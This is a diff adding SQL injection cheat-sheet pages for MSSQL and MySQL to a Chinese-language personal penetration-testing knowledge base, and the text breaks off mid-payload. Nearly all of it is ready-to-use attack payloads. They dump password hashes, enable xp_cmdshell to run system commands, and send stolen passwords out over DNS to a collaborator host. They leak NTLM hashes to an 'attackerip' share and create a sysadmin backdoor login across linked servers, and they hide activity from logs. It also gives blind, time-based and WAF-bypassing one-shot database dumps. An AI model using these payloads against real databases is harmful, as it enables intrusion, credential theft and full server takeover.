SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition');
+

MSSQL 数据库名称​

+
SELECT DB_NAME()
+

MSSQL 数据库凭据​

+
    +
  • :哈希猫模式 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 +
    SELECT name, password FROM master..sysxlogins
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
    -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
    +
  • +
  • :哈希猫模式 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe +
    SELECT name, password_hash FROM master.sys.sql_logins
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
    +
  • +
+

MSSQL 列表数据库​

+
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
+

MSSQL 列表列​

+
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns
+

MSSQL 列表表​

+
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
+

基于 MSSQL 联合​

+
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT UserId, UserName from Users
+

MSSQL 基于错误​

+
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
+

MSSQL 基于盲的​

+
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
+

MSSQL 基于时间​

+
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
+

MSSQL 堆叠查询​

+
    +
  • +

    没有任何语句终止符

    +
    -- multiple SELECT statements
    SELECT 'A'SELECT 'B'SELECT 'C'

    -- updating password with a stacked query
    SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

    -- using the stacked query to enable xp_cmdshell
    -- you won't have the output of the query, redirect it to a file
    SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
    +
  • +
  • +

    使用分号“;”添加另一个查询

    +
    ProductID=1; DROP members--
    +
  • +
+

MSSQL 读取文件​

+

权限:选项需要或 ADMINISTER DATABASE BULK OPERATIONS 权限。

+
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
+

MSSQL 命令执行​

+
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
+

如果需要重新激活 xp_cmdshell(在 SQL Server 2005 中默认为禁用)

+
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
+

与 MSSQL 实例交互。

+
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
+

执行 Python 脚本

+
+

由不同于使用 xp_cmdshell 执行命令的用户执行

+
+
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
+

MSSQL 带外​

+

MSSQL DNS 外过滤​

+

https://twitter.com/ptswarm/status/1313476695295512578/photo/1中的技术

+
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
+

MSSQL UNC 路径​

+

MSSQL 支持堆叠查询,因此我们可以创建一个指向 IP 地址的变量,然后使用 xp_dirtree 函数列出 SMB 共享中的文件并获取 NTLMv2 哈希。

+
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
+
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
+

MSSQL 使用户成为 DBA(数据库管理员)​

+
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
+

MSSQL 受信任的链接​

+
+

数据库之间的链接甚至可以跨林信任进行工作。

+
+
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
+

人工开采

+
-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
+

列出权限​

+

列出当前用户在服务器上的有效权限。

+
SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
+

列出当前用户对数据库的有效权限。

+
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
+

列出当前用户对视图的有效权限。

+
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
+

检查当前用户是否是指定服务器角色的成员。

+
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
+

MSSQL 操作系统​

+

在查询中使用 SP_PASSWORD 可以隐藏日志,如:

+
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html new file mode 100644 index 0000000..47d330f --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html @@ -0,0 +1,229 @@ + + + + + +MySQL | wjlin0 + + + + + + + +

MySQL

作者修订时间
wjlin02023-07-05 21:37:29
+

MYSQL 默认数据库​

+ + + + + + + + + + + + + + + + + +
Name描述
mysql需要 root 权限
information_schemaAvailalble 版本 5 及更高版本
+

MYSQL 注释​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type描述
#哈希注释
/* MYSQL Comment */C 样式注释
/*! MYSQL Special SQL */特殊 SQL
/*!32302 10*/MYSQL 3.23.02 版本注释
-- -SQL 注释
;%00无字节
`重音符
+

MYSQL 测试注入​

+
    +
  • +

    :查询为 SELECT * FROM Table WHERE id = 'FUZZ';

    +
    '	False
    '' True
    " False
    "" True
    \ False
    \\ True
    +
  • +
  • +

    :查询为 SELECT * FROM Table WHERE id = FUZZ;

    +
    AND 1	    True
    AND 0 False
    AND true True
    AND false False
    1-false Returns 1 if vulnerable
    1-true Returns 0 if vulnerable
    1*56 Returns 56 if vulnerable
    1*56 Returns 1 if not vulnerable
    +
  • +
  • +

    :查询为 SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';

    +
    ' OR '1
    ' OR 1 -- -
    " OR "" = "
    " OR 1 = 1 -- -
    '='
    'LIKE'
    '=0--+
    +
  • +
+

基于 MYSQL 联合​

+

检测列数​

+

首先您需要知道列的数量

+
使用 order by 或​
+

不断增加这个数字,直到您得到一个错误的回答。尽管 GROUP BY 和 ORDER BY 在 SQL 中具有不同的功能性,但它们都可以以完全相同的方式用于确定查询中的列数。

+
1' ORDER BY 1--+	#True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
+

或

+
1' GROUP BY 1--+	#True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
+
使用 order by 或基于错误​
+

与前面的方法类似,如果启用了错误显示,我们可以用 1 个请求检查列数。

+
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+

或

+
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 UNION SELECT 基于错误​
+

如果启用了错误显示,则此方法有效

+
1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 LIMIT INTO 基于错误​
+

如果启用了错误显示,则此方法有效。

+

当注入点位于 LIMIT 子句之后时,这对于查找列数非常有用。

+
1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 SELECT * FROM SOME_EXISTING_TABLE 基于错误​
+

如果您知道要查找的表名并且启用了错误显示,则此操作有效。

+

它将返回表中的列数,而不是查询。

+
1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+

使用信息提取数据库 _schema​

+

然后,以下代码将提取数据库的名称、表的名称、列的名称。

+
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
+

提取不包含信息的列名 _schema​

+

MySQL >= 4.1 的方法。

+

首先用提取列编号

+
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
+

然后提取列名。

+
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
+

MySQL 5 的方法

+
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
+

提取不带列名的数据​

+

在不知道第 4 列名称的情况下提取数据。

+
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
+

查询内部的注入示例 select author_id,title from posts where author_id=[INJECT_HERE]

+
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
+

基于 MYSQL 错误​

+

基于 MYSQL 错误-基本​

+

适用于 MySQL >= 4.1

+
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
+

基于 MYSQL 错误的-UpdateXML 函数​

+
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
+

阅读时间更短:

+
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
+

MYSQL 基于错误-提取值函数​

+

适用于 MySQL >= 5.1

+
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
+

基于 MYSQL 错误的-NAME_CONST 函数(仅适用于常量)​

+

适用于 MySQL >= 5.0

+
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
+

MYSQL 盲​

+

具有等效子字符串的 MYSQL 盲​

+
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
+

使用二进制查询和 REGEXP 在 ORDER BY 子句中进行 MySQL 盲 SQL 注入​

+

这个查询基本上按一列或另一列排序,这取决于 EXISTS()是否返回 1. 为了让 EXISTS()函数返回 1,REGEXP 查询需要匹配,这意味着您可以逐个字符地伪造盲值,并在没有直接输出的情况下从数据库泄漏数据。

+
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
+

MySQL 盲 SQL 注入二进制查询使用 REGEXP。​

+

有效载荷:

+
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
+

将在查询中工作(其中“where”子句是注入点):

+
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
+

在上述查询中,它将检查“项目”数据库中以“a”开头的“名称”列中是否存在项目。如果它能为每个项目睡眠 3 秒。

+

使用条件语句的 MYSQL 盲​

+

真: if @@version starts with a 5:

+
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
+

错误: if @@version starts with a 4:

+
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
+

带 MAKE_SET 的 MYSQL 盲​

+
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
+

带 LIKE 的 MYSQL 盲​

+

'_'的作用类似正则表达式字符“.”,用它来加速您的盲测

+
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
+

MYSQL 基于时间​

+

以下 SQL 代码将延迟 MySQL 的输出。

+
    +
  • MySQL 4/5: BENCHMARK() +
    +BENCHMARK(40000000,SHA1(1337))+
    '%2Bbenchmark(3200,SHA1(1))%2B'
    AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
    +
  • +
  • MySQL 5: SLEEP() +
    RLIKE SLEEP([SLEEPTIME])
    OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
    +
  • +
+

在子选择中使用 SLEEP​

+
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
+

使用条件语句​

+
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
+

MYSQL DIOS-一次性转储​

+
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2